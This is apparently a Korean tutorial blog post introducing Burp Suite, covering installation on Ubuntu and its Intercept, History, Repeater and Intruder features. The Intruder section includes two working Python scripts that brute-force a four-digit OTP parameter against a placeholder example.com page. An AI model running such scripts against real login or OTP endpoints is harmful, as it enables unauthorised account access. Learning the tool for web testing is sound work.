본문 바로가기

old/Cyber Security

사이버 보안: Burp Suite이란

반응형

Burp Suite

정의

클라이언트와 서버 사이에 있는 웹 프록시 프로그램 (패킷 조작 프로그램).

이를 이용해서 중간에 요청되는 데이터를 볼수 있으며(인터셉트 프록시), 웹 애플리케이션의 스캐너같은 다양한 취약점 검사 및 인터페이스 분석 도구 등을 제공합니다.

사용 용도

  • 웹 애플리케이션의 취약점을 탐지
  • 보안 결함을 수정
  • 웹 애플리케이션의 인터페이스 분석

우분투에 설치법

  1. 자바 설치
sudo apt-get install openjdk-8-jre
  1. Burp Suite 커뮤니터버전 다운 https://portswigger.net/burp/communitydownload
  2. 설치 파일 실행
    다운 폴더에서 터미널 열기
sudo bash burpsuite_community_linux_v2021_9_1.sh
  1. 기본 설치 위치인 /usr/local/bin로 터미널로 가서 실행
  2. /BurpSuiteCommunity

Burp Suite의 주요 기능

Intercept

정의

중간에 Request요청을 가져와서 서버에 보내지 않게 하는 Burp Suite의 기능들 중 하나.

이를 이용해서 중간에 패킷을 수정하여 전송할수 있다.

Steps

  1. proxy-intercept-intercept is on
  2. open browser

이후 열린 크로니움 브라우저의 모든 요청은 중간에 멈추고 Burp Suite에서 허락하지 않으면 보낼수가 없음.

  • forward: 멈춰있던 요청을 서버로 보냄. 보내기전에 Request를 수정가능.
  • Drop: 멈춰있던 요청을 삭제해버림. 서버는 이 요청을 받지 못함.

History

정의

크로니움 브라우저에서 한 모든 요청과 응답을 모아서 볼수 있는 Burp Suite의 기능들 중 하나.

Steps

  1. proxy-intercept-HTTP history
  2. open browser

이후 열린 크로니움 브라우저의 모든 요청과 응답을 확인할수 있음.

Repeater

정의

하나의 요청을 여러번 변조해서 서버에 보내고 싶을때 사용하는 Burp Suite의 기능들 중 하나.

send를 누르면 응답을 바로 볼수 있음.

Steps

  1. proxy-intercept-HTTP history-반복하길 원하는 요청을 선택-오른쪽버튼-send to Repeater
  2. 변조 한다음 send 버튼

Intruder

정의

반복해서 요청을 보내서 비밀번호를 무차별 대입으로 알아볼때 사용하는 Burp Suite의 기능들 중 하나.

Steps

  1. proxy-intercept-HTTP history-반복하길 원하는 요청을 선택-오른쪽버튼-send to Intruder
  2. position-clear-반복해서 변조하길 원하는 부분을 블럭-add
  3. payload-블럭친 부분을 어떤식으로 변조할것인지 셋팅
  4. start attack

공격속도가 좀 느린편이고. 원하는 조건을 넣기엔 이미 정해져있는곳에서 찾아야 하기 때문에, 복잡한 조건이 필요할경우, 파이썬으로 따로 짜서 공격하는쪽에 좀더 나음.

파이썬 라이브러리중, httplib2나, request를 사용하면 Intruder기능 대체 가능.

파이썬 예제

HTTP request: GET example.php?otp_num=1111 HTTP/1.1

변수: otp_num

시도 범위: 0000~9999

조건: Success

import httplib2

# 대상 웹 사이트 URL (여기서는 example.com)
url = "<https://example.com/example.php>"

# httplib2 인스턴스 생성
http_obj = httplib2.Http()

# otp_num의 범위 (0000부터 9999까지)
for otp_num in range(10000):
    # otp_num을 4자리 숫자로 포맷팅합니다. (예: 0035)
    otp_num_formatted = f"{otp_num:04d}"

    # GET 요청에 otp_num 매개변수를 추가합니다.
    request_url = f"{url}?otp_num={otp_num_formatted}"
    response, content = http_obj.request(request_url, method="GET")

    # 원하는 결과를 찾는 방법에 따라 처리를 변경할 수 있습니다.
    # 예를 들어, 서버에서 특정 메시지를 반환한다면 이를 확인할 수 있습니다.
    if b"Success" in content:
        print(f"Success! OTP number is: {otp_num_formatted}")
        break
    else:
        print(f"Failed for OTP number: {otp_num_formatted}")
import requests

# 대상 웹 사이트 URL (여기서는 example.com)
url = "<https://example.com/example.php>"

# otp_num의 범위 (0000부터 9999까지)
for otp_num in range(10000):
    # otp_num을 4자리 숫자로 포맷팅합니다. (예: 0035)
    otp_num_formatted = f"{otp_num:04d}"

    # GET 요청에 otp_num 매개변수를 추가합니다.
    response = requests.get(url, params={"otp_num": otp_num_formatted})

    # 원하는 결과를 찾는 방법에 따라 처리를 변경할 수 있습니다.
    # 예를 들어, 서버에서 특정 메시지를 반환한다면 이를 확인할 수 있습니다.
    if "Success" in response.text:
        print(f"Success! OTP number is: {otp_num_formatted}")
        break
    else:
        print(f"Failed for OTP number: {otp_num_formatted}")

Burp Suite 한글이 깨질때 시도해볼만한 방법

  1. Character sets 설정
  2. font 설정
반응형